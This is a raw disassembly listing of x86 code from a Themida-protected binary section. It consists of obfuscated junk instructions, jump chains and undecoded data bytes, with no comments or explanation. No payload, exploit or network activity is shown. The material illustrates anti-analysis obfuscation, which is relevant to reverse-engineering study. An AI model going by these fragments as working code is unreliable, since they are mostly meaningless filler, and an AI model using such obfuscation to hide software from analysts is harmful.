		sub	edx, 53026CCBh
		add	edx, 23091E45h
		add	edx, edi
		sub	edx, 23091E45h
		add	edx, 53026CCBh
		push	ebx
		push	ecx
		jmp	loc_5E178B
; ---------------------------------------------------------------------------
		dd offset dword_4BC2EC+1247Ch
		align 2
		dw 0E9h
		dd 52FFFF94h, 0F0001DB6h, 0B753525Ah, 80C7FECEh, 0DFF681C7h
		dd 8829EF80h, 0FB15E9FAh, 0B151FFFFh, 80C9FEC6h, 0D3E9C4E1h
		dd 0BDFFFFA2h, 631B60F6h, 5A0E955h, 0C14D0000h,	0EDC104EDh
		dd 23B95108h, 0E93FFF34h, 0FFFFFD2Ch
; ---------------------------------------------------------------------------


loc_5E5B30:				; CODE XREF: Themida_:005DEFB9j
		sub	edx, 0AF9EFB50h
		mov	eax, edx
		pop	edx
		sub	edx, eax
		jmp	loc_5DEB18
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 8479E900h, 0E789FFFFh, 4B951h, 0CF010000h
		dd 0FFDF95E9h, 4BFFFh, 0B7E90000h, 53FFFF90h, 8851C788h
		dd 97BCE9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E5B72:				; CODE XREF: Themida_:005E6A10j
		push	edi
		push	esp
		pop	edi
		push	ebx
		push	esi
		push	54DF6350h
		pop	esi
		sub	esi, 54DF634Ch
		mov	ebx, esi
		pop	esi
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5E760E
; ---------------------------------------------------------------------------
		dw 0F6BBh
		dd 2114D576h, 0C1815BD9h, 0FB7FB974h, 0FFE608E9h, 0D03058FFh
		dd 0E924148Bh, 0FFFFBD31h, 3C8EBB53h, 0EB814363h, 0E404EDB3h
		dd 2320E9h, 29F28100h, 0C112B813h, 0EA8102E2h, 6C9E42EAh
		dd 186CEA81h, 0E2E9790Dh, 83FFFFB7h, 1C8904ECh,	281BB324h
		dd 0CD805BDDh, 18F58075h, 8059EB28h, 0B60F95C3h, 148B66C0h
		dd 5E2A6824h, 14890000h, 815A5424h, 4ECh, 24348900h, 468h
		dd 0E0CDE900h, 0E089FFFFh, 4BA52h, 0D0010000h, 42D5Ah
		dd 4870000h, 3C895C24h,	0E2895224h, 4C281h, 0EA810000h
		dd 4, 0E9241487h, 0FFFFCAAAh, 0FF7F71E9h, 243C8BFFh, 4C481h
		dd 5BE90000h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E5C5B:				; CODE XREF: Themida_:005E6691j
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	47DFh
		mov	[esp], ebx
		mov	ebx, 2CBB0F07h
		jmp	loc_5DDD10
; ---------------------------------------------------------------------------


loc_5E5C7A:				; CODE XREF: Themida_:005E0700j
		push	ebp
		mov	ebp, 1747792h
		jmp	loc_5E7670
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
a4Os		db '4,o&',0
		dd 7F28E900h, 15EFFFFh,	0C875DE9h, 34FF5C24h, 0C4835924h
		dd 7F14E904h, 5EB9FFFFh, 815C4311h, 0E738E7C1h,	0F7D9F718h
		dd 0CB4CE9D1h, 0D000FFFFh, 24148B66h, 3002C483h, 0C0B60FC3h
		dd 24148B66h, 17368h, 24348900h, 24348B54h, 0FFF491E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E5CE1:				; CODE XREF: Themida_:005E440Aj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5E4C5C
; ---------------------------------------------------------------------------
		db 29h,	57h, 20h
		dd 0FFB204E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E5CF5:				; CODE XREF: Themida_:005E4A7Dj
		push	268Ch
		mov	[esp], eax
		push	esp
		jmp	loc_5DEE5D
; ---------------------------------------------------------------------------
		db 0BAh
		dd 261A1885h, 1872E9h, 0E9F80100h, 0FFFF9014h, 0BD55E089h
		dd 4, 55DE801h,	4, 317AE950h, 248B0000h, 7E8CE924h, 0CB01FFFFh
		dd 81F30159h, 0BB362DEBh, 0EFD1E97Fh, 98B8FFFFh, 0E9421838h
		dd 1900h
; ---------------------------------------------------------------------------


loc_5E5D4C:				; CODE XREF: Themida_:005E451Cj
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 2D0D4C48h, 4EC81h, 1C890000h, 5C74BB24h, 6BE91A42h
		dd 68FFFF7Eh, 7974h, 52242489h,	4BAh, 246C8100h, 0AD25A804h
		dd 24540100h, 21006804h, 0BBE90000h, 0FFFFFFBDh, 669D1C77h
		dd 241CD359h, 7E20E99Ch, 5B8FFFFh, 0F7024125h, 7A9E9D8h
		dd 16680000h, 8900004Fh, 0B9512424h, 4,	4244C01h, 2434FF59h
		dd 0C2AEE95Ah, 0EEBDFFFFh, 81570E46h, 521B29F5h, 6EDC124h
		dd 372BE581h, 0B5E936D9h, 4D000022h, 37F0BE56h,	0F681617Dh
		dd 136E2403h, 0F2E9h, 14895C00h, 5E545624h, 5672BD55h
		dd 0C581672Ah, 3E9F5C23h, 8105EDC1h, 5474E1E5h,	84F58132h
		dd 1000444h, 0EE815DEEh, 4, 2474FF56h, 24348B04h, 1815E951h
		dd 34FF0000h, 0B0E95924h, 81FFFF89h, 0FC34DFF5h, 0E0685B66h
		dd 8900004Bh, 3481242Ch, 0CB254824h, 81008F78h,	0CB254830h
		dd 242C8B78h, 4C481h, 5FE90000h, 52FFFF7Dh, 0FF5CB6BAh
		dd 0E2CA817Bh, 8135BD7Ah, 65BC7E2h, 0EBB5316h, 0E9551F48h
		dd 0C26h, 24048B66h, 81E38953h,	4C3h, 4BD5500h,	0E9000000h
		dd 0FFFF8BE3h, 53E958B6h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E5E9B:				; CODE XREF: Themida_:005E934Bj
		mov	[esp], esp
		jmp	loc_5DFA8E
; ---------------------------------------------------------------------------
aNsqGktIYsc	db 'SQkt',1Bh,'YC:',0
		db 0
; ---------------------------------------------------------------------------


loc_5E5EB3:				; CODE XREF: Themida_:005E07ADj
		push	1D23h
		mov	[esp], edi
		jmp	loc_5DDE0E
; ---------------------------------------------------------------------------
a_bqnmLSa	db '_Nm~l)#',0
		align 2
		dw 0E789h
		dd 4C781h, 0BD550000h, 4, 4DE9EF01h, 8100002Fh,	366A9BCEh
		dd 0A4E94621h, 0ADFFFFD4h, 0BB535751h, 1BE5D52h, 577DC3BFh
		dd 5BDF2928h, 55FF989h,	6F001BF1h, 0F12DC801h, 8B6F001Bh
		dd 50E9240Ch, 66FFFFA0h, 5124048Bh, 0FFC555E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E5F21:				; CODE XREF: Themida_:005E2C3Fj
		not	ebp
		jmp	loc_5E6135
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 93B8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E5F36:				; CODE XREF: Themida_:005E048Aj
		and	ecx, 1A2605E1h
		xor	ecx, 679E0919h
		xor	ecx, 6FBA0DDCh
		jmp	loc_5E5A13
; ---------------------------------------------------------------------------
		db 55h,	68h, 14h
aDbnSr		db 'Dbn]=',0
		dd 24248B00h, 0FFF022E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E5F61:				; CODE XREF: Themida_:005DF297j
		add	edx, 69ED6E6Eh
		not	edx
		shl	edx, 2
		add	edx, 0E0E349C0h
		add	ecx, edx
		jmp	loc_5E6315
; ---------------------------------------------------------------------------
		db 5Ch,	51h, 50h
		dd 88D38853h, 0EC835BD8h, 24148904h, 0B8E9C288h, 5F000026h
		dd 0FF7C29E9h, 0B5E95AFFh, 83FFFFC9h, 41E904C5h, 57FFFF91h
		dd 0FFE53FE9h, 34FF54FFh, 242C8B24h, 0E904C483h, 0FFFFEC70h
; ---------------------------------------------------------------------------


loc_5E5FB8:				; CODE XREF: Themida_:005E6F6Bj
		push	39B973FBh
		pop	ebx
		push	624Eh
		mov	[esp], esi
		mov	esi, 0C6468C06h
		add	ebx, esi
		jmp	loc_5E6A47
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 8B240433h, 0FF662424h, 0E99C240Ch, 0FFFF7BD6h
		dd 0E9505F54h, 0FFFFFDAEh, 5D2434FFh, 8F04C483h, 18E92404h
		dd 8100002Ah, 0FC767EC6h, 81CE013Fh, 0FC767EEEh, 240C8B3Fh
		dd 8304C483h, 343304C6h, 24343124h, 8B243433h, 34FF2424h
		dd 240C8B24h, 4C481h, 0AFE90000h, 0E9FFFF8Ah, 0FFFF7B86h
		dd 0A0768h, 240C8900h, 90E9E189h, 55000038h, 96F7BA52h
		dd 0EC83A733h, 24148904h, 5D2434FFh, 0F9E9E955h, 1EB4FFFFh
		dd 0FFEB8AE9h, 66C300FFh, 8543E958h, 2BDFFFFh, 0E9000000h
		dd 19C6h, 9710E95Ah, 0A2BDFFFFh, 2912090Eh, 242C8BEFh
		dd 0FF89F5E9h, 3CE0BBFFh, 0EB295A4Fh, 2CC6815Dh, 17EE54Eh
		dd 0EFE9DEh, 0C7810000h, 4, 99E95653h, 89FFFFE9h, 74FF240Ch
		dd 0C8B0424h, 1468E924h, 5D580000h, 8244429h, 0E0BE5658h
		dd 0E967A924h, 0FFFF9D9Ah, 24048B66h, 4EC81h, 32E90000h
		dd 0ADFFFFEAh, 0FD79692Dh, 0A3BA524Bh, 4A3CA147h, 7141C281h
		dd 0BF5739B4h, 19C9EAA2h, 295FFA31h, 24148BD0h,	4C481h
		dd 0A32D0000h, 0E916E15Ah, 0FFFFC2CDh, 81240C8Bh, 4ECh
		dd 0DB0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E611E:				; CODE XREF: Themida_:005E7179j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5E82BD
; ---------------------------------------------------------------------------


loc_5E6135:				; CODE XREF: Themida_:005E5F23j
		add	ebp, 4FD85F8Ah
		or	ebp, 0E8906A7h
		add	ebp, 0D100A815h
		add	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_5E3255
; ---------------------------------------------------------------------------
		db 0FEh
		dd 15B551CEh, 0BEE9DDF6h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5E6163:				; CODE XREF: Themida_:005E162Dj
		xor	dl, 0B2h
		jmp	loc_5E5307
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 24148704h, 1489665Ch, 20C3B224h,	967EE9D7h
		dd 48FFFFFh, 24248B24h,	9C243CD3h, 0FF7A2DE9h, 2CB951FFh
		dd 297EE54Eh, 2DF8E9CEh, 9C500000h, 0FFE1A6E9h,	2C683FFh
		dd 8B243487h, 0F7662424h, 0A2668F1h, 3C890000h,	74F56824h
		dd 24890000h, 68515724h, 2CA8679Eh, 0CEC98159h,	0E920312Eh
		dd 0FFFF9272h, 0D8287504h, 0FCE9752Ch, 29FFFF8Bh, 0BCFAE9F0h
		dd 0C281FFFFh, 4, 0E904EA83h, 14D1h
; ---------------------------------------------------------------------------


loc_5E61F4:				; CODE XREF: Themida_:005E2295j
		xor	esi, ebx
		pop	ebx
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_5E8C4D
; ---------------------------------------------------------------------------


loc_5E6201:				; CODE XREF: Themida_:005E6D93j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5E6B9C
; ---------------------------------------------------------------------------
		dw 5954h
		dd 4C181h, 89570000h, 4C781E7h,	83000000h, 3C8704EFh, 4895C24h
		dd 4B824h, 0C1010000h, 240C3358h, 33240C31h, 0E95C240Ch
		dd 4FFh, 24048B66h, 4EC81h, 9AE90000h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E624F:				; CODE XREF: Themida_:005E82B8j
		or	edi, 39A270D9h
		shl	edi, 3
		push	esi
		jmp	loc_5E0BB4
; ---------------------------------------------------------------------------


loc_5E625E:				; CODE XREF: Themida_:005DFD6Cj
		mov	ebx, esp
		jmp	loc_5E7DDA
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 24h
		dd 0F7FFFFCFh, 0D90DE9D9h, 47E9FFFFh
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E6277:				; CODE XREF: Themida_:005E0875j
		inc	ecx
		xor	ecx, 5FF73FFEh
		neg	ecx
		jmp	loc_5E4C97
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0F66F9F6h, 0E951CCB6h, 0FFFF98B1h, 6EFC147h,	761DEF81h
		dd 0C78103E4h, 0F57E0D3Ch, 0F219AD2Dh, 5F80128h, 28F219ADh
		dd 2DEF815Fh, 29521844h, 2DC781C7h, 58521844h, 78F8E9C3h
		dd 8952FFFFh, 5AD589C2h, 2C8BEB89h, 5F545724h, 2E61BA52h
		dd 56424969h, 0C40531BEh, 7A38E960h, 7B2DFFFFh,	5E116A7Eh
		dd 5C240487h, 0FF2434FFh, 0A7E92434h, 8BFFFFDEh, 0C483241Ch
		dd 6C3E904h, 525F0000h,	0C281E289h, 4, 0FFDF34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E6315:				; CODE XREF: Themida_:005E5F74j
		pop	edx
		push	2964h
		mov	[esp], esi
		jmp	loc_5DEC9A
; ---------------------------------------------------------------------------
		db 31h
		dd 0AEE959CFh, 83FFFF81h, 1C8704C3h, 0E6CEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E6336:				; CODE XREF: Themida_:005E9F84j
		push	eax
		push	ebp
		pop	eax
		pop	ebp
		xchg	eax, ebp
		jmp	loc_5E9617
; ---------------------------------------------------------------------------
		dd 0E9C8BE0Fh, 37C6h, 3298E981h, 0E9816CD3h, 7CE505B2h
		dd 240C335Dh, 33240C31h, 248B240Ch, 48B6624h, 0EC815724h
		dd 4, 0FF920FE9h, 28FFB1FFh, 2434FFD1h,	4C4835Ah, 2CBBE980h
		dd 4C828DDh, 2434FFDDh,	4C48159h, 2C000000h, 4D828FAh
		dd 680104FAh, 77B6h, 0B6241489h, 48E8680Fh, 14890000h
		dd 0D0B75324h, 8011F780h, 0DFF66FEFh, 0E978C780h, 0FFFFA1BEh
		dd 7673C281h, 0DAF738CCh, 0E9FFC283h, 0FFFFD229h, 8B240C87h
		dd 0C7812424h, 2, 0FFBBC6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E63DD:				; CODE XREF: Themida_:005E389Ej
		neg	ecx
		add	ecx, 3314471Ch
		jmp	loc_5E46D1
; ---------------------------------------------------------------------------
		dw 0CB29h
		dd 0FF7A85E9h, 0FE8959FFh, 32C8E95Fh, 8B660000h, 67E92404h
		dd 28FFFFBCh, 0D74E9C3h, 0FF570000h, 5F042474h,	0FFF2E9E9h
		dd 0BBE95FFFh, 81FFFFA5h, 0E14B2F3h, 5BDE314Dh,	0E080EE81h
		dd 0F0017CB0h, 8124348Bh, 4C4h,	0F6E95A00h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E643B:				; CODE XREF: Themida_:005E252Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	6B9Ch
		jmp	loc_5E7253
; ---------------------------------------------------------------------------
		dd 5C240C33h, 67426857h, 34890000h, 9D86824h, 685E3104h
		dd 35D4h, 0BA241489h, 310409D4h, 0FFF3FFE9h, 285966FFh
		dd 241C8BF8h, 4C481h, 68660000h, 0B8E931A9h, 0FF000016h
		dd 51582434h, 0C181E189h, 4, 0E904C183h, 0FFFFB27Ch
; ---------------------------------------------------------------------------


loc_5E64A8:				; CODE XREF: Themida_:005DFAF9j
		or	edx, 2C0300AAh
		jmp	loc_5DF732
; ---------------------------------------------------------------------------


loc_5E64B3:				; CODE XREF: Themida_:005E92A6j
		mov	ecx, 54F4304h
		shr	ecx, 2
		push	esi
		mov	esi, 184B4E13h
		or	esi, 38164AA8h
		and	esi, 3D96005Ch
		xor	esi, 0E09CC00Fh
		jmp	loc_5E5612
; ---------------------------------------------------------------------------


loc_5E64D8:				; CODE XREF: Themida_:005E9D81j
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	ebx
		sub	dword ptr [esp], 46C33607h
		jmp	loc_5E1A4B
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 4B850h, 0C3010000h, 4C38358h, 8B241C87h
		dd 0C00B2424h, 91BF840Fh, 77FFFFFFh, 2434FF1Ch,	0FFAA1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E6519:				; CODE XREF: Themida_:005E20F6j
		xor	ecx, [esp]
		jmp	loc_5E1BA1
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 0F7h
		dd 31FFFF95h, 0A140E9F3h, 0D6F7FFFFh, 2190E9h, 0C6815900h
		dd 1782683Ah, 8102EEC1h, 1B0827C6h, 46DEF733h, 1D1F681h
		dd 2FE9BC6Bh, 25FFFFD7h, 24E3176h, 0E8C1D8F7h, 0D0E94802h
		dd 83000010h, 0E9042404h, 0FFFF9EDFh, 5AD5BA52h, 0E2D15320h
		dd 1C281h, 0C2810000h, 743A0117h, 6808EAC1h, 7C26h, 0E9242C89h
		dd 0FFFFC2C0h, 53FFB652h, 0D988F388h, 0B3A2E95Bh, 5966FFFFh
		dd 286DB151h, 1636E9CBh, 295A0000h, 157BE9DEh, 68660000h
		dd 8966508Fh, 0FFE9240Ch
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E65BF:				; CODE XREF: Themida_:005DDEC3j
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5E7DA5
; ---------------------------------------------------------------------------


loc_5E65CF:				; CODE XREF: Themida_:005E08EAj
		mov	dl, 4Ah
		jmp	loc_5E2BF0
; ---------------------------------------------------------------------------
		dw 0CD80h
		dd 43E950FEh, 81FFFF89h, 359AFF1h, 4EC8173h, 89000000h
		dd 0D0BD242Ch, 0F737EF79h, 4BC581DDh, 81524476h, 6D84F0EDh
		dd 0ED814D12h, 0D0B60053h, 0B9E9E921h, 0B7FFFFBDh, 79E951B3h
		dd 0C1FFFFFFh, 0EAC107E2h, 0EB95104h, 13DDCFEh,	0D02959CAh
		dd 6AD0685Ah, 0ABE90000h, 81FFFFA6h, 4EAh, 24148700h, 0FFAC96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E6641:				; CODE XREF: Themida_:005E49FFj
		and	ebx, esi
		mov	esi, [esp]
		push	79EDh
		jmp	loc_5E5A0A
; ---------------------------------------------------------------------------
		dd 0C485E95Bh, 895EFFFFh, 0D3015FFBh, 0B951h, 0D9010000h
		dd 0FF8B15E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E6669:				; CODE XREF: Themida_:005DDC96j
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_5E1A43
; ---------------------------------------------------------------------------


loc_5E6677:				; CODE XREF: Themida_:005E30B3j
		or	esi, 242241D3h
		add	esi, 90449A25h
		sub	edx, 19571A56h
		add	edx, esi
		add	edx, 19571A56h
		jmp	loc_5E5C5B
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 0FFFC49E9h, 241C89FFh, 4EC81h, 35E90000h, 83000038h
		dd 148704C2h, 2462E924h, 3E90000h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E66BB:				; CODE XREF: Themida_:005DF2AAj
		mov	edi, 6FF34352h
		xor	edi, 5EDE596Fh
		sub	edi, 3F185A68h
		add	edi, 4CC3BAE4h
		mov	ecx, edi
		pop	edi
		jmp	loc_5E97E4
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 148904ECh, 2474FF24h, 48F5A04h, 0D0E95C24h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E66EF:				; CODE XREF: Themida_:005E9D9Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_5E84AB
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 240C8924h, 0FF74B5E9h, 246C81FFh, 657C1B04h,	246C8134h
		dd 6A1A8204h, 24540139h, 24448104h, 6A1A8204h, 75AEE939h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E672A:				; CODE XREF: Themida_:005DFBF9j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		not	edx
		xor	ebx, edx
		xor	edx, ebx
		jmp	loc_5E42CC
; ---------------------------------------------------------------------------
		db 0Fh
		dd 7AFE68C8h, 4890000h,	7470E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E674E:				; CODE XREF: Themida_:005E762Ej
		push	dword ptr [edi+24h]
		jmp	loc_5E28D3
; ---------------------------------------------------------------------------
aZRs		db ',$\R\#',0
		align 10h


loc_5E6760:				; CODE XREF: Themida_:005E3116j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5DFF94
; ---------------------------------------------------------------------------
		dd 24048B66h, 8904EC83h, 0E9542434h, 0FFFFD426h, 24048B66h
		dd 6AED6856h, 8F540000h, 4832404h, 555E0424h, 0EF20C9BDh
		dd 3EDC160h, 1C2BB951h,	0E1815D5Eh, 543C75A0h, 0C181D1F7h
		dd 6039F836h, 159CD29h,	0C6815DEEh, 2, 2474FF56h, 24348B04h
		dd 81595451h, 4C1h, 0A7A1E900h,	0EAC1FFFFh, 10F28104h
		dd 81596C44h, 445A55E2h, 43F28175h, 8950453Bh, 0D3E95AD0h
		dd 57FFFF73h, 0FFF35DE9h, 0B55166FFh, 0EE8852BEh, 665AF788h
		dd 0AE4CE959h, 0D6F7FFFFh, 0C2E6E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E680A:				; CODE XREF: Themida_:005E3797j
		sub	ebx, ebp
		jmp	loc_5DFB54
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4BDh, 9F14E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E681E:				; CODE XREF: Themida_:005DE6FFj
		or	eax, eax
		jz	loc_5E5359
		push	edx
		push	esi
		push	ecx
		mov	ecx, 506B2CDEh
		mov	esi, ecx
		pop	ecx
		mov	edx, esi
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		not	edx
		sub	esp, 4
		jmp	loc_5DDC9B
; ---------------------------------------------------------------------------


loc_5E685B:				; CODE XREF: Themida_:005E0F86j
		xor	cl, 0D8h
		sub	dl, cl
		pop	ecx
		inc	dl
		jmp	loc_5E2AC5
; ---------------------------------------------------------------------------
		dd 8704C183h, 815C240Ch, 4C4h, 4C38100h, 81000000h, 4C3h
		dd 241C3300h, 33241C31h, 248B241Ch, 0B60F6624h,	4EC8100h
		dd 89000000h, 8B54242Ch, 0C481242Ch, 4,	8904EC83h, 3468243Ch
		dd 0E92F4D07h, 0FFFFBEB3h, 240C8B66h, 0E9E38953h, 2A5h
		dd 40AABD55h, 0C14D0A47h, 0CD8104E5h, 272D48A9h, 7766E581h
		dd 0C58108D3h, 0FFAEBDE4h, 0B6E9E829h, 0FFFFFFCDh, 34FF2434h
		dd 89515824h, 4C181E1h,	81000000h, 4C1h, 0B6E95100h, 50FFFFC9h
		dd 88DA8852h, 0C1DFE9D0h, 0EE81FFFFh, 4FDF5826h, 7ECAC681h
		dd 58E96D96h, 33FFFFBAh, 8F5C240Ch, 665C2404h, 9C2404FFh
		dd 0FF7291E9h, 3F98B9FFh, 0C9811D82h, 1F7A76E6h, 4A2DE181h
		dd 0C981088Bh, 55304DDBh, 8102E9C1h, 8893AFF1h,	1639E946h
		dd 0D6F70000h, 2D1ABD55h, 0D5F759AAh, 43ED814Dh, 0C17B0F36h
		dd 0FDE908EDh, 89FFFFE3h, 0E6892434h, 7A4BBB53h, 0E94B03AAh
		dd 0FFFFBD9Dh
; ---------------------------------------------------------------------------


loc_5E697C:				; CODE XREF: Themida_:005E2B8Cj
		pop	ebx
		add	esi, 76BB6917h
		add	esi, ebx
		sub	esi, 76BB6917h
		jmp	loc_5E3C41
; ---------------------------------------------------------------------------
		dd 460FBB53h, 0D92969A0h, 0C875A5Bh, 24248B24h,	0FFDCC2E9h
		dd 0B368B6FFh, 5AF3008Fh, 34FFD800h, 54525B24h,	5A2434FFh
		dd 4C481h, 0BE560000h, 36110147h, 0FF8E26E9h, 5C6846FFh
		dd 89000066h, 9CBF243Ch, 95BD93Bh, 0D8E95FFEh, 53000034h
		dd 0E3EEE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E69E6:				; CODE XREF: Themida_:005E445Aj
		mov	eax, [esp]
		add	esp, 4
		add	edx, 6BC836B6h
		add	edx, ebx
		sub	edx, 6BC836B6h
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		jmp	loc_5E5B72
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5D2434FFh, 6804C483h, 7E73h,	89243489h, 4B951E6h, 0E9000000h
		dd 0FFFFA281h, 0E9243433h, 0FFFFE382h, 8904EC83h, 7DE92404h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E6A47:				; CODE XREF: Themida_:005E5FCDj
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	48D2h
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_5E1877
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0EEh
		dd 43397273h, 0C681DE01h, 43397273h, 0C3DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5E6A75:				; CODE XREF: Themida_:005E7DE1j
		mov	ebp, 172B3A66h
		or	ebp, 21675113h
		jmp	loc_5E9812
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C481h, 0BB530000h, 4, 1FE9DF01h, 1FFFFC0h, 0B77CE9FBh
		dd 0E3C1FFFFh, 1AC38102h, 29AC2423h, 0EA815BDAh, 3F70089h
		dd 815AD331h, 3811CAC2h, 68DA2940h, 5E16h, 0BD242C89h
		dd 71D21E93h, 0FF9F98E9h, 24248BFFh, 345B951h, 4C010480h
		dd 11E90424h, 5E00002Fh, 1CEBE9h, 9D045B00h, 28E9C800h
		dd 0C3000032h, 0FFFC83E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5E6AF9:				; CODE XREF: Themida_:005E4A43j
		mov	ch, dh
		jmp	loc_5E3D23
; ---------------------------------------------------------------------------
		dd 4BE56h, 48E90000h, 0ADFFFF82h, 0FFC366E9h, 4EA81FFh
		dd 87000000h, 545C2414h, 8124048Fh, 42404h, 48B0000h, 0F62E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5E6B2E:				; CODE XREF: Themida_:005E88D2j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	1DA9h
		mov	[esp], ecx
		mov	ecx, 288E5FA4h
		dec	ecx
		jmp	loc_5E7066
; ---------------------------------------------------------------------------


loc_5E6B49:				; CODE XREF: Themida_:005DFF8Fj
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5DDBBE
; ---------------------------------------------------------------------------
		dd 0B40BE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E6B5A:				; CODE XREF: Themida_:005E9B22j
		add	ebp, 4
		jmp	loc_5DF284
; ---------------------------------------------------------------------------
		db 55h,	53h, 0BBh
		dd 37C47D6h, 0B9514B43h, 5B777983h, 21FDE981h, 0F18165F1h
		dd 4AA22008h, 119BC181h, 0C181601Ah, 10EBE713h,	3105E9h
		dd 4C48100h, 0E9000000h, 0FFFFD2D9h
; ---------------------------------------------------------------------------


loc_5E6B9C:				; CODE XREF: Themida_:005E6209j
		push	esi
		mov	esi, 4
		sub	ebx, esi
		jmp	loc_5E833B
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C483h, 240C8BEEh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	al, dh
		mov	dx, [esp]
		jmp	loc_5DF0A5
; ---------------------------------------------------------------------------


loc_5E6BD2:				; CODE XREF: Themida_:005E35B5j
		add	ebx, 0FFFFFFFFh
		shr	ebx, 3
		sub	ebx, 0B392317h
		push	esi
		push	ebp
		mov	ebp, 0D30025Bh
		jmp	loc_5E9211
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 33243431h, 248B2434h, 0BB0F6624h, 0E99C2404h, 0FFFF6FBAh
		dd 24148966h, 0A0E95153h, 83FFFF86h, 0EC8304C4h, 243C8904h
		dd 181FE9h, 1C90BD00h, 0BE564E57h, 5A833963h, 0EEC1DEF7h
		dd 33CE8104h, 0C11BF77Ch, 0F68104E6h, 0F128DB24h, 15EF531h
		dd 97E95DE8h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5E6C47:				; CODE XREF: Themida_:005E365Fj
		inc	esi
		sub	esi, 745A6A39h
		add	edx, esi
		pop	esi
		jmp	loc_5DFA9B
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4, 875FF901h, 0E95C240Ch, 0FFFF9F1Bh, 0A2F281h, 0FAE969D0h
		dd 33FFFFC5h, 7AE92404h, 87000031h, 665C2434h, 0E924148Bh
		dd 0FFFF75A3h
; ---------------------------------------------------------------------------


